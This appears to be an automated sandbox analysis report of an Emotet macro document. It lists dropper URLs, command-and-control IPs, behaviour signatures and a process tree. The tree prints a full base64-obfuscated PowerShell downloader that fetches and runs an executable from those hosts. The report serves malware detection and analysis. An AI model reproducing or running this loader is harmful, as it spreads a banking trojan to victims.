Analysis

  • max time kernel
    74s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    03/09/2020, 13:10

General

  • Target
    emotet_e1_03ead7e48b7446841be169e7b2f788f8cb6a6a4e616e4a569b73a498695a5346_2020-09-03__130939._doc.doc
  • Size 237KB
  • Sample200903-lem1fvfnwe
  • SHA256 03ead7e48b7446841be169e7b2f788f8cb6a6a4e616e4a569b73a498695a5346
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://theexchangemascot.com/wp-admin/NN/

  • exe.dropper

    http://redhands.studio/wp-admin/SP/

  • exe.dropper

    http://1a-fitness-coach.com/cgi-bin/deg/

  • exe.dropper

    http://personalizzabili.com/imagesff/Ob/

  • exe.dropper

    http://zarahmoden.com/wp-admin/FVQ/

  • exe.dropper

    http://westvac.com/wp-content/se7/

  • exe.dropper

    http://viniciusrangel.com/experimental/sQ/

Extracted

Family
  • emotet

C2
  • 50.121.220.50:80

  • 51.75.33.122:80

  • 54.37.42.48:8080

  • 91.121.54.71:8080

  • 68.69.155.181:80

  • 12.162.84.2:8080

  • 77.55.211.77:8080

  • 104.131.41.185:8080

  • 85.105.140.135:443

  • 51.255.165.160:8080

  • 213.60.96.117:80

  • 45.16.226.117:443

  • 111.67.12.221:8080

  • 190.6.193.152:8080

  • 45.161.242.102:80

  • 190.163.31.26:80

  • 172.104.169.32:8080

  • 185.94.252.12:80

  • 212.174.55.22:443

  • 50.28.51.143:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_03ead7e48b7446841be169e7b2f788f8cb6a6a4e616e4a569b73a498695a5346_2020-09-03__130939._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:748
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABZAG8AdABiAHAANwBzAD0AKAAnAFIAYgAnACsAJwA3AHIAJwArACgAJwBhACcAKwAnAHAAeQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAdQBTAEUAUgBwAFIAbwBmAGkAbABFAFwAbgAzAHQAeABjAEwAQgBcAEcANgAyADgAXwB1AEEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBjAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAdQByAGkAdABZAGAAcAByAG8AVABPAEMAbwBMACIAIAA9ACAAKAAnAHQAJwArACgAJwBsAHMAMQAyACcAKwAnACwAIAB0AGwAcwAnACsAJwAxACcAKQArACgAJwAxACcAKwAnACwAIAAnACkAKwAnAHQAJwArACcAbABzACcAKQA7ACQARgAzAGwAOQA0ADcAZwAgAD0AIAAoACcASgBsACcAKwAoACcAMwByADIAJwArACcAMgBuAHgAJwApACkAOwAkAEkAZQAxAHEAMAA5AHgAPQAoACgAJwBDACcAKwAnAF8AbwBtAGUAJwApACsAJwB1ACcAKwAnAHgAJwApADsAJABZAGsAcwBtAHUAZwA2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAWAAnACsAJwBlADUATgAzAHQAeABjAGwAJwArACcAYgAnACkAKwAnAFgAJwArACcAZQAnACsAKAAnADUAJwArACcARwA2ADIAJwApACsAKAAnADgAXwB1AGEAJwArACcAWAAnACkAKwAnAGUAJwArACcANQAnACkALgAiAHIARQBgAFAATABgAEEAQwBlACIAKAAoAFsAYwBoAGEAUgBdADgAOAArAFsAYwBoAGEAUgBdADEAMAAxACsAWwBjAGgAYQBSAF0ANQAzACkALAAnAFwAJwApACkAKwAkAEYAMwBsADkANAA3AGcAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABQADAAYQBxAHUAZwA1AD0AKAAoACcAQQAnACsAJwB0AHkAJwApACsAJwAzAHUAJwArACcAcgBoACcAKQA7ACQATQBtADUAcgBtADkAaQA9AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAGUAQgBjAGwASQBFAE4AVAA7ACQAQwB0ADAAYwBqAG0AbgA9ACgAKAAnAGgAJwArACcAdAB0AHAAJwArACcAOgAnACsAJwAvAC8AdABoACcAKwAnAGUAZQB4AGMAaAAnACkAKwAoACcAYQBuACcAKwAnAGcAJwApACsAJwBlACcAKwAoACcAbQBhAHMAJwArACcAYwBvAHQAJwApACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AJwArACcAdwBwACcAKwAnAC0AJwArACgAJwBhAGQAbQBpAG4ALwAnACsAJwBOAE4AJwArACcALwAqAGgAJwArACcAdAAnACkAKwAoACcAdABwADoAJwArACcALwAvACcAKQArACcAcgAnACsAJwBlAGQAJwArACgAJwBoACcAKwAnAGEAJwArACcAbgBkAHMAJwArACcALgAnACsAJwBzAHQAdQBkAGkAbwAvAHcAJwApACsAJwBwACcAKwAoACcALQBhACcAKwAnAGQAJwApACsAKAAnAG0AJwArACcAaQBuAC8AJwApACsAKAAnAFMAJwArACcAUAAvACcAKQArACgAJwAqACcAKwAnAGgAdAB0AHAAJwApACsAJwA6AC8AJwArACgAJwAvACcAKwAnADEAYQAtAGYAJwArACcAaQAnACkAKwAoACcAdABuAGUAJwArACcAcwAnACkAKwAnAHMAJwArACgAJwAtACcAKwAnAGMAbwBhACcAKQArACgAJwBjACcAKwAnAGgALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AJwArACcAYwBnAGkAJwArACcALQBiAGkAbgAvACcAKwAnAGQAZQAnACkAKwAnAGcALwAnACsAJwAqAGgAJwArACgAJwB0ACcAKwAnAHQAcAA6AC8ALwAnACsAJwBwAGUAcgAnACkAKwAnAHMAbwAnACsAKAAnAG4AJwArACcAYQBsAGkAegB6AGEAJwApACsAKAAnAGIAaQBsACcAKwAnAGkALgBjACcAKQArACgAJwBvAG0AJwArACcALwBpACcAKQArACcAbQAnACsAKAAnAGEAZwAnACsAJwBlAHMAJwApACsAJwBmAGYAJwArACcALwAnACsAKAAnAE8AJwArACcAYgAvACcAKQArACgAJwAqACcAKwAnAGgAdAAnACkAKwAoACcAdABwACcAKwAnADoALwAvACcAKwAnAHoAYQByAGEAaABtACcAKQArACgAJwBvAGQAZQBuACcAKwAnAC4AJwApACsAKAAnAGMAbwAnACsAJwBtAC8AdwBwACcAKQArACgAJwAtAGEAZAAnACsAJwBtACcAKQArACgAJwBpACcAKwAnAG4ALwBGAFYAUQAnACkAKwAoACcALwAnACsAJwAqAGgAdAAnACkAKwAoACcAdAAnACsAJwBwADoAJwApACsAKAAnAC8ALwAnACsAJwB3AGUAJwApACsAKAAnAHMAJwArACcAdAB2ACcAKQArACgAJwBhAGMAJwArACcALgBjAG8AJwApACsAJwBtACcAKwAnAC8AJwArACcAdwBwACcAKwAoACcALQAnACsAJwBjAG8AbgB0ACcAKQArACgAJwBlACcAKwAnAG4AdAAnACkAKwAoACcALwAnACsAJwBzAGUANwAvACcAKQArACcAKgAnACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoAJwArACgAJwAvAC8AJwArACcAdgAnACsAJwBpAG4AaQBjAGkAdQBzACcAKwAnAHIAYQAnACkAKwAnAG4AZwAnACsAKAAnAGUAJwArACcAbAAuACcAKQArACcAYwAnACsAJwBvACcAKwAoACcAbQAnACsAJwAvAGUAJwApACsAJwB4ACcAKwAnAHAAJwArACgAJwBlAHIAaQBtACcAKwAnAGUAJwApACsAKAAnAG4AdABhAGwAJwArACcALwAnACkAKwAnAHMAUQAnACsAJwAvACcAKQAuACIAcwBgAHAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYADQAZAAzADMAcwAxAD0AKAAoACcARgAnACsAJwB6ADgAcAAnACkAKwAnAGoAbwAnACsAJwBqACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFAAdQBrAGsAaQBrAG4AIABpAG4AIAAkAEMAdAAwAGMAagBtAG4AKQB7AHQAcgB5AHsAJABNAG0ANQByAG0AOQBpAC4AIgBkAE8AdwBOAGAAbABvAGAAQQBEAEYAaQBgAGwARQAiACgAJABQAHUAawBrAGkAawBuACwAIAAkAFkAawBzAG0AdQBnADYAKQA7ACQARABnAGYAMwBtAGgAegA9ACgAKAAnAEgAJwArACcAdABwACcAKQArACgAJwBwAGoAJwArACcANwAnACkAKwAnAGgAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFkAawBzAG0AdQBnADYAKQAuACIATABlAE4AZwBgAFQASAAiACAALQBnAGUAIAAzADIAOAAyADAAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAoACQAWQBrAHMAbQB1AGcANgApADsAJABKAHEAbQBxADcAcwBkAD0AKAAnAFgAaAAnACsAKAAnADYAagAnACsAJwBvADkAJwApACsAJwB4ACcAKQA7AGIAcgBlAGEAawA7ACQAWAB5AG4AbQBxADEAMQA9ACgAJwBZACcAKwAnAHIAJwArACgAJwBqAGQAawA2ACcAKwAnAG4AJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAeQA4ADAAOABsAGoAPQAoACcAQgB1ACcAKwAoACcAcQBfADUAJwArACcANwA3ACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2028
    • C:\Users\Admin\N3txclb\G628_ua\Jl3r22nx.exe
      "C:\Users\Admin\N3txclb\G628_ua\Jl3r22nx.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1248
      • C:\Windows\SysWOW64\iasdatastore\WsmAuto.exe
        "C:\Windows\SysWOW64\iasdatastore\WsmAuto.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:816

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/748-6-0x000000000A8D0000-0x000000000A8D4000-memory.dmp

        memory/748-7-0x0000000006CE0000-0x0000000006EE0000-memory.dmp

        memory/748-8-0x0000000006CE0000-0x0000000006EE0000-memory.dmp

        memory/748-2-0x00000000087C0000-0x00000000087C4000-memory.dmp

        memory/816-22-0x0000000000370000-0x000000000037C000-memory.dmp

        memory/1016-23-0x000007FEF6710000-0x000007FEF698A000-memory.dmp

        memory/1248-18-0x0000000000230000-0x000000000023C000-memory.dmp

        memory/2028-9-0x000007FEF1700000-0x000007FEF20EC000-memory.dmp

        memory/2028-15-0x000000001C540000-0x000000001C541000-memory.dmp

        memory/2028-14-0x0000000002640000-0x0000000002641000-memory.dmp

        memory/2028-13-0x00000000023E0000-0x00000000023E1000-memory.dmp

        memory/2028-12-0x00000000023B0000-0x00000000023B1000-memory.dmp

        memory/2028-11-0x000000001AF70000-0x000000001AF71000-memory.dmp

        memory/2028-10-0x0000000001E30000-0x0000000001E31000-memory.dmp